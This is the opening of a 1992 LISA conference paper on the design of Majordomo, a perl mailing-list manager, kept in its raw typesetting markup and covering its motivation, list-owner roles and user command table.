+1329 X(the)s +1447 X(endless)s +1680 X(requests)s +1935 X(from)s +600 X +3121 Y(users)s +762 X(of)s +842 X(the)s +950 X(form)s +1105 X("please)s +1326 X(subscribe)s +1604 X(me)s +1712 X(to)s +1790 X(your)s +1937 X(list",)s +600 X +3194 Y("please)s +825 X(unsubscribe)s +1173 X(me)s +1285 X(from)s +1444 X(your)s +1595 X(list",)s +1752 X("please)s +1977 X(tell)s +600 X +3267 Y(me)s +704 X(about)s +874 X(your)s +1017 X(list",)s +1166 X("please)s +1383 X(tell)s +1492 X(me)s +1596 X(if)s +1659 X(I'm)s +1778 X(already)s +1998 X(on)s +600 X +3340 Y(your)s +748 X(list",)s +902 X(and)s +1025 X(so)s +1111 X(forth)s +1240 X(.)s +1306 X(It's)s +1421 X(a)s +1477 X(time)s +1597 X(-consuming,)s +1954 X(bor-)s +600 X +3413 Y(ing,)s +724 X(repetitive)s +1000 X(task;)s +1149 X(just)s +1268 X(the)s +1372 X(sort)s +1494 X(of)s +1572 X(thing)s +1732 X(that's)s +1904 X(a)s +1957 X(per-)s +600 X +3486 Y(fect)s +723 X(candidate)s +1002 X(to)s +1076 X(be)s +1161 X(automated)s +1440 X(.)s +600 X +3580 Y +744 X(When)s +926 X(SAGE)s +1123 X(\(the)s +1250 X(System)s +1470 X(Administrators)s +1895 X(Guild,)s +600 X +3653 Y(a)s +668 X(USENIX)s +949 X(Special)s +1184 X(Technical)s +1486 X(Group\))s +1714 X(was)s +1855 X(formed,)s +600 X +3726 Y(the)s +718 X(founding)s +993 X(members)s +1274 X(decided)s +1518 X(to)s +1607 X(establish)s +1879 X(over)s +2034 X(a)s +600 X +3799 Y(dozen)s +785 X(mailing)s +1016 X(lists)s +1151 X(for)s +1254 X(various)s +1476 X(purposes)s +1737 X(\(one)s +1880 X(for)s +1982 X(the)s +600 X +3872 Y(board)s +789 X(of)s +883 X(directors,)s +1173 X(one)s +1308 X(for)s +1424 X(each)s +1586 X(of)s +1680 X(the)s +1801 X(16)s +1906 X(initial)s +600 X +3945 Y(working)s +857 X(groups,)s +1090 X(one)s +1221 X(the)s +1338 X(chairs)s +1533 X(of)s +1623 X(all)s +1726 X(the)s +1843 X(working)s +600 X +4018 Y(groups,)s +840 X(and)s +979 X(so)s +1081 X(forth\))s +1232 X(.)s +1314 X(The)s +1461 X(USENIX)s +1748 X(Association)s +600 X +4091 Y(volunteered)s +950 X(the)s +1066 X(USENIX)s +1310 X(.ORG)s +1501 X(machine)s +1762 X(as)s +1852 X(a)s +1916 X(home)s +600 X +4164 Y(for)s +720 X(these)s +901 X(mailing)s +1149 X(lists,)s +1318 X(but)s +1446 X(didn't)s +1649 X(have)s +1819 X(the)s +1945 X(staff)s +600 X +4237 Y(resources)s +882 X(to)s +964 X(set)s +1069 X(up)s +1165 X(and)s +1291 X(operate)s +1518 X(the)s +1630 X(mailing)s +1865 X(lists)s +1974 X(.)s +2042 X(I)s +600 X +4310 Y(volunteered)s +938 X(to)s +1013 X(act)s +1115 X(as)s +1194 X(Postmaster)s +1511 X(for)s +1611 X(SAGE,)s +1826 X(and)s +1946 X(han-)s +600 X +4383 Y(dle)s +710 X(all)s +806 X(the)s +916 X(mailing)s +1149 X(lists)s +1258 X(.)s +1324 X(As)s +1425 X(an)s +1515 X(independent)s +1868 X(consul-)s +600 X +4456 Y(tant,)s +740 X(my)s +847 X(schedule)s +1103 X(is)s +1170 X(rather)s +1348 X(erratic,)s +1559 X(and)s +1677 X(I)s +1722 X(don't)s +1885 X(have)s +2034 X(a)s +600 X +4529 Y(company)s +872 X(paying)s +1081 X(my)s +1194 X(salary)s +1382 X(while)s +1559 X(I)s +1608 X(pursue)s +1812 X(volunteer)s +600 X +4602 Y(work)s +761 X(like)s +887 X(this;)s +1028 X(thus,)s +1181 X(I)s +1228 X(wished)s +1442 X(to)s +1519 X(automate)s +1790 X(the)s +1897 X(job)s +2008 X(as)s +600 X +4675 Y(much)s +787 X(as)s +881 X(possible,)s +1155 X(so)s +1252 X(that)s +1391 X(I)s +1451 X(could)s +1637 X(provide)s +1878 X(a)s +1946 X(high)s +600 X +4748 Y(level)s +794 X(of)s +912 X(service)s +1166 X(to)s +1282 X(the)s +1428 X(users)s +1629 X(\(including)s +1967 X(fast)s +2256 X +2720 Y(turnaround)s +2572 X(on)s +2663 X(their)s +2811 X(requests\))s +3077 X(while)s +3251 X(spending)s +3515 X(as)s +3595 X(little)s +2256 X +2793 Y(time)s +2400 X(as)s +2480 X(possible)s +2723 X(in)s +2800 X(the)s +2907 X(long)s +3050 X(run)s +3163 X(on)s +3254 X(administrivia)s +3608 X(.)s +3672 X(A)s +2256 X +2866 Y(BITNET)s +2493 X(-style)s +2672 X(Listserv)s +2918 X(seemed)s +3149 X(to)s +3231 X(be)s +3324 X(an)s +3416 X(appropriate)s +2256 X +2939 Y(solution,)s +2510 X(so)s +2591 X(I)s +2635 X(started)s +2836 X(investigating)s +3204 X(alternatives)s +3514 X(.)s +2256 X +3066 Y +2678 X +f.B 10 Z(De\256ning)s +2941 X(the)s +3052 X(Problem)s +2256 X +3175 Y +2400 X +f.R 10 Z(The)s +2538 X(\256rst)s +2676 X(step)s +2818 X(was)s +2956 X(to)s +3042 X(identify)s +3284 X(just)s +3415 X(what)s +3580 X(func-)s +2256 X +3248 Y(tionality)s +2523 X(I)s +2588 X(desired)s +2781 X(.)s +2863 X(First)s +3029 X(and)s +3167 X(foremost,)s +3463 X(I)s +3527 X(wanted)s +2256 X +3321 Y(something)s +2559 X(that)s +2685 X(would)s +2876 X(handle)s +3079 X(routine)s +3293 X("subscribe")s +3624 X(and)s +2256 X +3394 Y("unsubscribe")s +2653 X(requests)s +2897 X(automatically,)s +3305 X(with)s +3449 X(no)s +3539 X(human)s +2256 X +3467 Y(intervention)s +2613 X(required)s +2869 X(for)s +2980 X(routine)s +3203 X(requests)s +3457 X(\(though)s +3698 X(I)s +2256 X +3540 Y(wanted)s +2478 X(to)s +2559 X(give)s +2703 X(the)s +2814 X(owner)s +3009 X(of)s +3093 X(a)s +3152 X(given)s +3329 X(list)s +3440 X(the)s +3550 X(option)s +2256 X +3613 Y(of)s +2338 X(passing)s +2565 X(judgement)s +2874 X(on)s +2967 X(all)s +3062 X(subscription)s +3415 X(requests,)s +3679 X(if)s +2256 X +3686 Y(they)s +2404 X(so)s +2496 X(desired\))s +2711 X(.)s +2783 X(Second,)s +3029 X(I)s +3084 X(wanted)s +3309 X(something)s +3619 X(that)s +2256 X +3759 Y(could)s +2443 X(easily)s +2639 X(handle)s +2856 X(many)s +3043 X(mailing)s +3288 X(lists)s +3437 X(simultane-)s +2256 X +3832 Y(ously;)s +2451 X(I)s +2505 X(had)s +2633 X(17)s +2731 X(to)s +2815 X(begin)s +2995 X(with,)s +3162 X(and)s +3289 X(I)s +3342 X(was)s +3477 X(sure)s +3619 X(that)s +2256 X +3905 Y(more)s +2437 X(would)s +2648 X(be)s +2756 X(added)s +2960 X(as)s +3061 X(time)s +3226 X(passed)s +3404 X(.)s +3488 X(Third,)s +3698 X(I)s +2256 X +3978 Y(wanted)s +2489 X(something)s +2807 X(that)s +2948 X(could)s +3136 X(automatically)s +3542 X(handle)s +2256 X +4051 Y(other)s +2430 X(user)s +2578 X(requests)s +2834 X(\(such)s +3015 X(as)s +3108 X("what)s +3302 X(lists)s +3448 X(are)s +3567 X(avail-)s +2256 X +4124 Y(able?",)s +2489 X("please)s +2731 X(tell)s +2865 X(me)s +2994 X(about)s +3188 X(list)s +3317 X('foobar'",)s +3624 X(and)s +2256 X +4197 Y("which)s +2469 X(of)s +2547 X(your)s +2691 X(lists)s +2823 X(am)s +2928 X(I)s +2974 X(on?"\))s +3143 X(that,)s +3285 X(while)s +3458 X(less)s +3583 X(com-)s +2256 X +4270 Y(mon)s +2406 X(than)s +2553 X("subscribe")s +2891 X(and)s +3019 X("unsubscribe",)s +3439 X(still)s +3572 X(occur)s +2256 X +4343 Y(relatively)s +2532 X(frequently)s +2806 X(.)s +2256 X +4437 Y +2400 X(The)s +2533 X(\256rst)s +2666 X(thing)s +2832 X(I)s +2883 X(did)s +2998 X(was)s +3132 X(look)s +3280 X(around)s +3494 X(for)s +3601 X(suit-)s +2256 X +4510 Y(able)s +2403 X(publicly)s +2657 X(available)s +2934 X(software)s +3198 X(that)s +3333 X(might)s +3523 X(already)s +2256 X +4583 Y(exist,)s +2430 X(or)s +2515 X(that)s +2646 X(might)s +2832 X(be)s +2925 X(easily)s +3113 X(adapted)s +3352 X(to)s +3435 X(my)s +3551 X(needs)s +3703 X(.)s +2256 X +4656 Y(Searches)s +2524 X(of)s +2609 X(the)s +2721 X(common)s +2984 X(Internet)s +3221 X(software)s +3480 X(archives,)s +2256 X +4729 Y(queries)s +2490 X(to)s +2583 X(the)s +2706 X("Archie")s +2983 X(anonymous)s +3330 X(FTP)s +3487 X(indexing)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(135)s +5280 Y +pagebot + +%%Page: 136 2 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(service,)s +605 X(and)s +739 X(email)s +927 X(to)s +1017 X(certain)s +1238 X(acquaintances)s +1651 X(who)s +1802 X(I)s +360 X +521 Y(thought)s +592 X(might)s +777 X(know)s +953 X(of)s +1037 X(such)s +1188 X(software)s +1447 X(produced)s +1724 X(two)s +360 X +594 Y(results:)s +587 X(an)s +683 X(implementation)s +1137 X(of)s +1225 X(the)s +1339 X(BITNET)s +1608 X(Listserv)s +360 X +667 Y(written)s +578 X(in)s +659 X(C)s +732 X(for)s +838 X(UNIX)s +1033 X(\(from)s +1213 X(the)s +1324 X(comp)s +1472 X(.sources)s +1689 X(.unix)s +360 X +740 Y(archives\),)s +674 X(and)s +822 X(several)s +1063 X(different)s +1344 X(programs)s +1646 X(named)s +360 X +813 Y("listserv")s +630 X(written)s +842 X(in)s +916 X(perl)s +1020 X(.)s +360 X +907 Y +504 X(I)s +555 X(\256rst)s +688 X(examined)s +977 X(the)s +1089 X(BITNET)s +1356 X(Listserv)s +1602 X(C)s +1676 X(pack-)s +360 X +980 Y(age)s +479 X(from)s +634 X(the)s +742 X(comp)s +890 X(.sources)s +1107 X(.unix)s +1268 X(newsgroup)s +1584 X(archives)s +1807 X(.)s +360 X +1053 Y(It)s +433 X(looked)s +646 X(like)s +779 X(it)s +849 X(would)s +1047 X(do)s +1145 X(most)s +1308 X(of)s +1396 X(what)s +1559 X(I)s +1614 X(wanted,)s +360 X +1126 Y(but)s +473 X(it)s +539 X(also)s +675 X(looked)s +884 X(like)s +1012 X(it)s +1077 X(did)s +1189 X(a)s +1246 X(lot)s +1344 X(of)s +1426 X(things)s +1616 X(I)s +1665 X(didn't)s +360 X +1199 Y(really)s +544 X(care)s +687 X(about)s +866 X(\(there)s +1053 X(appeared)s +1325 X(to)s +1408 X(be)s +1503 X(features)s +1747 X(for)s +360 X +1272 Y(coordinating)s +752 X(activities)s +1051 X(between)s +1329 X(multiple)s +1608 X(Listserv)s +360 X +1345 Y(servers)s +600 X(on)s +717 X(different)s +999 X(machines,)s +1321 X(for)s +1450 X(instance\))s +1692 X(.)s +1783 X(It)s +360 X +1418 Y(appeared)s +636 X(to)s +723 X(be)s +821 X(rather)s +1012 X(short)s +1180 X(on)s +1280 X(documentation,)s +1728 X(and)s +360 X +1491 Y(what)s +531 X(documentation)s +969 X(there)s +1144 X(was)s +1290 X(seemed)s +1533 X(to)s +1627 X(assume)s +360 X +1564 Y(that)s +496 X(the)s +613 X(reader)s +815 X(was)s +954 X(already)s +1186 X(familiar)s +1434 X(with)s +1587 X(BITNET)s +360 X +1637 Y(Listserv)s +601 X(implementation)s +1047 X(and)s +1168 X(operation)s +1420 X(.)s +1485 X(All)s +1597 X(in)s +1675 X(all,)s +1786 X(it)s +360 X +1710 Y(looked)s +574 X(like)s +708 X(it)s +779 X(would)s +978 X(be)s +1073 X(a)s +1135 X(real)s +1268 X(headache)s +1549 X(for)s +1658 X(me)s +1772 X(to)s +360 X +1783 Y(install,)s +570 X(con\256gure,)s +867 X(and)s +992 X(maintain,)s +1273 X(since)s +1440 X(I'm)s +1565 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +1679 X +f.R 10 Z(fami-)s +360 X +1856 Y(liar)s +507 X(with)s +683 X(BITNET)s +977 X(Listserv)s +1250 X(implementation)s +1728 X(and)s +360 X +1929 Y(operation)s +612 X(.)s +360 X +3599 Y +3120 0 l +360 X +3695 Y +562 X +f.B 10 Z(Command)s +1357 X(Description)s +360 X +3725 Y +562 X +f.R 10 Z +2715 0 l +360 X +3789 Y +1357 X(Subscribe)s +1642 X(yourself)s +1882 X(\(or)s +1981 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2227 X(if)s +2290 X(speci\256ed\))s +2572 X(to)s +2646 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(subscribe)s +836 X +f.I 10 Z(list)s +941 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3882 Y +1357 X(Unsubscribe)s +1712 X(yourself)s +1952 X(\(or)s +2051 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2297 X(if)s +2360 X(speci\256ed\))s +2642 X(from)s +2793 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(unsubscribe)s +902 X +f.I 10 Z(list)s +1007 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +3975 Y +1357 X(Find)s +1501 X(out)s +1608 X(which)s +1793 X(lists)s +1924 X(you)s +2045 X(\(or)s +2144 X +f.I 10 Z(address)s +f.R 10 Z(,)s +2390 X(if)s +2453 X(speci\256ed\))s +2735 X(are)s +2839 X(on)s +360 X +562 X(which)s +747 X([)s +f.I 10 Z(address)s +f.R 10 Z(])s +360 X +4068 Y +1357 X(Show)s +1530 X(the)s +1634 X(members)s +1901 X(of)s +1978 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(who)s +698 X +f.I 10 Z(list)s +360 X +4161 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(general)s +1853 X(introductory)s +2204 X(information)s +2541 X(for)s +2640 X +f.I 10 Z(list)s +360 X +562 X +f.R 10 Z(info)s +691 X +f.I 10 Z(list)s +360 X +4254 Y +1357 X +f.R 10 Z(Show)s +1530 X(the)s +1634 X(lists)s +1765 X(handled)s +1998 X(by)s +2086 X(this)s +2205 X(Majordomo)s +2541 X(server)s +360 X +562 X(lists)s +360 X +4347 Y +1357 X(Retrieve)s +1606 X(a)s +1658 X(help)s +1795 X(message,)s +2061 X(explaining)s +2365 X(these)s +2525 X(commands)s +360 X +562 X(help)s +360 X +4440 Y +1357 X(Stop)s +1506 X(processing)s +1818 X(commands)s +2134 X(\(useful)s +2346 X(if)s +2414 X(your)s +2562 X(mailer)s +2761 X(automatically)s +3155 X(adds)s +360 X +4520 Y +1357 X(a)s +1409 X(signature)s +1676 X(to)s +1750 X(your)s +1893 X(messages\))s +360 X +4440 Y +562 X(end)s +360 X +4685 Y +1387 X +f.B 10 Z(Figure)s +1599 X(1)s +f.R 10 Z(:)s +1695 X(Majordomo)s +2031 X(user)s +2164 X(commands)s +360 X +2023 Y +504 X(The)s +640 X(next)s +787 X(things)s +983 X(I)s +1038 X(looked)s +1252 X(at)s +1334 X(were)s +1497 X(several)s +1720 X(perl)s +360 X +2096 Y(scripts)s +578 X(from)s +750 X(a)s +823 X(variety)s +1052 X(of)s +1150 X(sources)s +1393 X(that)s +1537 X(were)s +1710 X(sup-)s +360 X +2169 Y(posedly)s +595 X(Listserv)s +811 X(-like)s +962 X(servers)s +1151 X(.)s +1218 X(Some)s +1398 X(of)s +1482 X(these)s +1649 X(scripts)s +360 X +2242 Y(were)s +528 X(pointed)s +766 X(out)s +888 X(to)s +977 X(me)s +1096 X(by)s +1199 X(folks)s +1369 X(on)s +1472 X(the)s +1591 X(net)s +1710 X(who)s +360 X +2315 Y(knew)s +537 X(I)s +592 X(was)s +729 X(looking)s +965 X(for)s +1076 X(such)s +1232 X(a)s +1296 X(thing,)s +1484 X(and)s +1614 X(I)s +1670 X(found)s +360 X +2388 Y(others)s +565 X(by)s +673 X(searching)s +971 X(through)s +1218 X(Archie)s +1441 X(for)s +1559 X("listserv")s +1807 X(.)s +360 X +2461 Y(Unfortunately,)s +778 X(these)s +943 X(various)s +1166 X(scripts)s +1368 X(all)s +1463 X(turned)s +1660 X(out)s +1772 X(to)s +360 X +2534 Y(be)s +457 X(more)s +628 X(what)s +792 X(I'd)s +903 X(call)s +1035 X("archive)s +1293 X(servers")s +1543 X(than)s +1692 X("list-)s +360 X +2607 Y(serv")s +537 X(implementations)s +984 X(;)s +1042 X(they)s +1196 X(were)s +1365 X(written)s +1595 X(to)s +1687 X(auto-)s +360 X +2680 Y(mate)s +524 X(retrieval)s +781 X(of)s +869 X(\256les)s +1014 X(from)s +1176 X(archives)s +1432 X(via)s +1547 X(email,)s +1747 X(for)s +360 X +2753 Y(folks)s +534 X(who)s +689 X(don't)s +870 X(have)s +1037 X(access)s +1250 X(to)s +1344 X(anonymous)s +1692 X(FTP)s +1807 X(.)s +360 X +2826 Y(When)s +550 X(I)s +603 X(examined)s +894 X(one)s +1021 X(of)s +1107 X(these)s +1275 X(scripts)s +1480 X(that)s +1611 X(claimed)s +360 X +2899 Y(to)s +442 X(support)s +671 X("subscribe")s +1007 X(and)s +1133 X("unsubscribe")s +1535 X(requests,)s +1802 X(I)s +360 X +2972 Y(found)s +547 X(that)s +681 X(what)s +844 X(it)s +915 X(did)s +1033 X(with)s +1184 X(such)s +1338 X(requests)s +1589 X(was)s +1725 X(for-)s +360 X +3045 Y(ward)s +528 X(them)s +697 X(by)s +798 X(email)s +983 X(to)s +1070 X(the)s +1187 X(mailing)s +1427 X(list)s +1545 X(owner)s +1747 X(for)s +360 X +3118 Y(manual)s +584 X(processing;)s +915 X(this)s +1039 X(was)s +1170 X(exactly)s +1391 X(what)s +1548 X(I)s +1597 X(was)s +1728 X(try-)s +360 X +3191 Y(ing)s +467 X(to)s +541 X(avoid!)s +360 X +3285 Y +504 X(In)s +596 X(the)s +715 X(end,)s +866 X(I)s +926 X(decided)s +1172 X(to)s +1262 X(implement)s +1587 X(my)s +1710 X(own)s +360 X +3358 Y(version)s +579 X(of)s +657 X(Listserv,)s +912 X(so)s +993 X(that)s +1116 X(I)s +1160 X(could)s +1330 X(get)s +1434 X(exactly)s +1650 X(what)s +1802 X(I)s +360 X +3431 Y(wanted)s +553 X(.)s +615 X(The)s +742 X(name)s +910 X(for)s +1010 X(my)s +1118 X(software)s +1371 X(was)s +1498 X(provided)s +1758 X(by)s +360 X +3504 Y(Eliot)s +529 X(Lear)s +689 X(of)s +781 X(Silicon)s +1008 X(Graphics,)s +1303 X(Inc)s +1388 X(.;)s +1461 X(he)s +1561 X(suggested)s +2016 X +448 Y("majordomo",)s +2417 X(which)s +2603 X(the)s +2708 X(dictionary)s +3002 X(de\256nes)s +3214 X(as)s +3293 X("a)s +3373 X(per-)s +2016 X +521 Y(son)s +2162 X(who)s +2330 X(speaks,)s +2579 X(makes)s +2804 X(arrangements,)s +3234 X(or)s +3342 X(takes)s +2016 X +594 Y(charge)s +2244 X(for)s +2371 X(another",)s +2666 X(and)s +2813 X(which)s +3027 X(seems)s +3242 X(perfectly)s +2016 X +667 Y(appropriate)s +2342 X(given)s +2512 X(the)s +2616 X(nature)s +2805 X(of)s +2882 X(the)s +2986 X(software)s +3216 X(.)s +2016 X +794 Y +2450 X +f.B 10 Z(Designing)s +2754 X(a)s +2809 X(Solution)s +2016 X +903 Y +2160 X +f.R 10 Z(My)s +2290 X(\256rst)s +2432 X(step)s +2578 X(in)s +2668 X(designing)s +2965 X(a)s +3033 X(solution)s +3286 X(was)s +3428 X(to)s +2016 X +976 Y(decide)s +2218 X(on)s +2311 X(the)s +2420 X(general)s +2644 X(approach)s +2915 X(I)s +2964 X(was)s +3095 X(going)s +3273 X(to)s +3351 X(take)s +3463 X(.)s +2016 X +1049 Y(First,)s +2199 X(I)s +2264 X(decided)s +2515 X(that)s +2659 X(all)s +2771 X(routine)s +3004 X(interactions)s +3361 X(with)s +2016 X +1122 Y(Majordomo)s +2377 X(would)s +2589 X(take)s +2747 X(place)s +2935 X(asynchronously)s +3398 X(via)s +2016 X +1195 Y(email)s +2166 X(.)s +2248 X(Second,)s +2504 X(since)s +2685 X(the)s +2811 X(software)s +3085 X(was)s +3233 X(going)s +3428 X(to)s +2016 X +1268 Y(spend)s +2200 X(most)s +2359 X(of)s +2443 X(its)s +2536 X(time)s +2685 X(parsing)s +2910 X(emailed)s +3151 X(instructions,)s +2016 X +1341 Y(processing)s +2324 X(text)s +2448 X(\256les)s +2583 X(\(the)s +2711 X(actual)s +2896 X(mailing)s +3125 X(lists\))s +3280 X(accord-)s +2016 X +1414 Y(ing)s +2146 X(to)s +2243 X(those)s +2428 X(instructions,)s +2801 X(and)s +2941 X(generating)s +3267 X(emailed)s +2016 X +1487 Y(responses)s +2298 X(to)s +2373 X(users,)s +2550 X(I)s +2595 X(wanted)s +2811 X(to)s +2886 X(write)s +3047 X(it)s +3109 X(in)s +3185 X(a)s +3239 X(language)s +2016 X +1560 Y(well)s +2132 X(-suited)s +2356 X(for)s +2474 X(that)s +2616 X(task;)s +2784 X(perl)s +2929 X(seemed)s +3171 X(the)s +3294 X(natural)s +2016 X +1633 Y(choice)s +2191 X(.)s +2016 X +1727 Y +2160 X(In)s +2240 X(the)s +2347 X(Majordomo)s +2687 X(world)s +2868 X(model,)s +3078 X(there)s +3238 X(are)s +3346 X(three)s +2016 X +1800 Y(types)s +2228 X(of)s +2354 X(people:)s +2622 X(users)s +2830 X(\(without)s +3127 X(any)s +3293 X(special)s +2016 X +1873 Y(privileges\),)s +2341 X(mailing)s +2569 X(list)s +2675 X(owners,)s +2907 X(and)s +3026 X(the)s +3131 X(owner)s +3320 X(of)s +3398 X(the)s +2016 X +1946 Y(Majordomo)s +2379 X(server)s +2590 X(itself)s +2725 X(.)s +2812 X(Interactions)s +3176 X(with)s +3343 X(users)s +2016 X +2019 Y(take)s +2156 X(place)s +2327 X(strictly)s +2543 X(by)s +2638 X(email;)s +2836 X(the)s +2947 X(user)s +3087 X(mails)s +3262 X(a)s +3321 X(set)s +3425 X(of)s +2016 X +2092 Y(requests)s +2275 X(to)s +2366 X(Majordomo,)s +2736 X(and)s +2871 X(Majordomo)s +3224 X(processes)s +2016 X +2165 Y(those)s +2196 X(requests)s +2454 X(and)s +2589 X(sends)s +2776 X(back)s +2941 X(appropriate)s +3284 X(replies)s +3463 X(.)s +2016 X +2238 Y(Interactions)s +2362 X(with)s +2511 X(list)s +2623 X(owners)s +2844 X(also)s +2981 X(take)s +3122 X(place)s +3293 X(strictly)s +2016 X +2311 Y(by)s +2105 X(email,)s +2295 X(but)s +2403 X(a)s +2456 X(list)s +2563 X(owner)s +2753 X(can)s +2870 X(do)s +2960 X(a)s +3014 X(few)s +3138 X(things)s +3325 X(that)s +3450 X(a)s +2016 X +2384 Y(normal)s +2235 X(user)s +2376 X(can't;)s +2559 X(the)s +2671 X(commands)s +2989 X(that)s +3119 X(are)s +3230 X(restricted)s +2016 X +2457 Y(to)s +2095 X(list)s +2205 X(owners)s +2424 X(are)s +2533 X(protected)s +2809 X(with)s +2955 X(a)s +3012 X(per)s +3097 X(-list)s +3229 X(password)s +2016 X +2530 Y(\(though)s +2244 X(it's)s +2352 X(very)s +2492 X(weak)s +2655 X(password)s +2928 X(protection,)s +3238 X(since)s +3398 X(the)s +2016 X +2603 Y(password)s +2300 X(is)s +2378 X(passed)s +2589 X(in)s +2674 X(the)s +2790 X(clear)s +2955 X(through)s +3195 X(the)s +3311 X(email;)s +2016 X +2676 Y(the)s +2123 X(goal)s +2263 X(is)s +2333 X(not)s +2443 X(absolute)s +2691 X(security,)s +2945 X(but)s +3054 X(to)s +3130 X(avoid)s +3302 X(people)s +2016 X +2749 Y(making)s +2257 X(a)s +2328 X(nuisance)s +2604 X(of)s +2701 X(themselves)s +3041 X(by)s +3149 X(abusing)s +3398 X(the)s +2016 X +2822 Y(Majordomo)s +2366 X(server\))s +2551 X(.)s +2626 X(The)s +2766 X(Majordomo)s +3116 X(owner)s +3318 X(is)s +3398 X(the)s +2016 X +2895 Y(person)s +2231 X(responsible)s +2573 X(for)s +2688 X(maintaining)s +3046 X(the)s +3166 X(Majordomo)s +2016 X +2968 Y(server)s +2206 X(itself,)s +2385 X(and)s +2508 X(for)s +2612 X(performing)s +2937 X(tasks)s +3097 X(such)s +3245 X(as)s +3327 X(creat-)s +2016 X +3041 Y(ing)s +2123 X(new)s +2256 X(mailing)s +2483 X(lists)s +2614 X(to)s +2688 X(be)s +2773 X(served)s +2969 X(by)s +3057 X(Majordomo)s +3371 X(.)s +2016 X +3135 Y +2160 X(The)s +2289 X(software)s +2544 X(needs)s +2722 X(to)s +2800 X(support)s +3025 X(multiple)s +3275 X(mailing)s +2016 X +3208 Y(lists,)s +2185 X(each)s +2351 X(owned)s +2570 X(by)s +2678 X(different)s +2950 X(individuals)s +3247 X(.)s +3328 X(Some)s +2016 X +3281 Y(owners)s +2238 X(wish)s +2394 X(to)s +2476 X(approve)s +2720 X(all)s +2818 X("subscribe")s +3154 X(requests)s +3403 X(for)s +2016 X +3354 Y(their)s +2171 X(list)s +2286 X(\(a)s +2370 X("closed")s +2627 X(list\),)s +2781 X(while)s +2962 X(other)s +3131 X(owners)s +3354 X(wish)s +2016 X +3427 Y(routine)s +2230 X("subscribe")s +2561 X(requests)s +2805 X(to)s +2882 X(be)s +2970 X(approved)s +3242 X(automat-)s +2016 X +3500 Y(ically)s +2189 X(\(an)s +2297 X("open")s +2503 X(list\),)s +2648 X(with)s +2790 X(noti\256cation)s +3118 X(to)s +3193 X(the)s +3297 X(owner)s +3463 X(.)s +360 X +4967 Y +f.B 10 Z(136)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 137 3 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(Routine)s +894 X("unsubscribe")s +1349 X(requests)s +1651 X(are)s +1817 X(approved)s +600 X +521 Y(automatically,)s +1009 X(with)s +1154 X(noti\256cation)s +1485 X(to)s +1563 X(the)s +1671 X(list)s +1779 X(owner,)s +1987 X(for)s +600 X +594 Y(both)s +745 X(open)s +901 X(and)s +1024 X(closed)s +1222 X(lists)s +1331 X(.)s +1375 X(Owners)s +1609 X(have)s +1763 X(a)s +1821 X(way)s +1960 X(\(the)s +600 X +667 Y("approve")s +923 X(command\))s +1262 X(to)s +1368 X(approve)s +1636 X(all)s +1758 X("subscribe")s +600 X +740 Y(requests)s +844 X(on)s +935 X(closed)s +1131 X(lists,)s +1282 X(as)s +1363 X(well)s +1505 X(as)s +1587 X(non)s +1686 X(-routine)s +1923 X("sub-)s +600 X +813 Y(scribe")s +816 X(and)s +941 X("unsubscribe")s +1342 X(requests)s +1589 X(on)s +1683 X(open)s +1840 X(lists)s +1949 X(.)s +2016 X(A)s +600 X +886 Y("non)s +726 X(-routine)s +969 X(request")s +1221 X(is)s +1298 X(one)s +1426 X(that)s +1559 X(affects)s +1771 X(a)s +1834 X(different)s +600 X +959 Y(address)s +834 X(than)s +982 X(the)s +1097 X(request)s +1323 X(appears)s +1560 X(to)s +1645 X(originate)s +1916 X(from;)s +600 X +1032 Y(for)s +717 X(instance,)s +994 X(a)s +1065 X(request)s +1299 X(from)s +1469 X("joe@foobar)s +1812 X(.com")s +2012 X(to)s +600 X +1105 Y(subscribe)s +896 X(or)s +994 X(unsubscribe)s +1355 X("alice@foobar)s +1744 X(.com")s +1946 X(is)s +2034 X(a)s +600 X +1178 Y(non)s +699 X(-routine)s +953 X(request)s +1146 X(.)s +1229 X(All)s +1359 X(non)s +1458 X(-routine)s +1713 X(requests)s +1976 X(\(on)s +600 X +1251 Y(both)s +746 X(open)s +903 X(and)s +1027 X(closed)s +1226 X(lists\))s +1384 X(are)s +1493 X(forwarded)s +1793 X(to)s +1872 X(the)s +1981 X(list)s +600 X +1324 Y(owner)s +788 X(for)s +887 X(approval)s +1120 X(.)s +600 X +1418 Y +744 X(Majordomo)s +1100 X(accepts)s +1340 X(the)s +1464 X(commands)s +1796 X(shown)s +2012 X(in)s +600 X +1491 Y(Figure)s +814 X(1)s +887 X(from)s +1056 X(any)s +1192 X(user)s +1303 X(.)s +1381 X(In)s +1475 X(addition,)s +1750 X(Majordomo)s +600 X 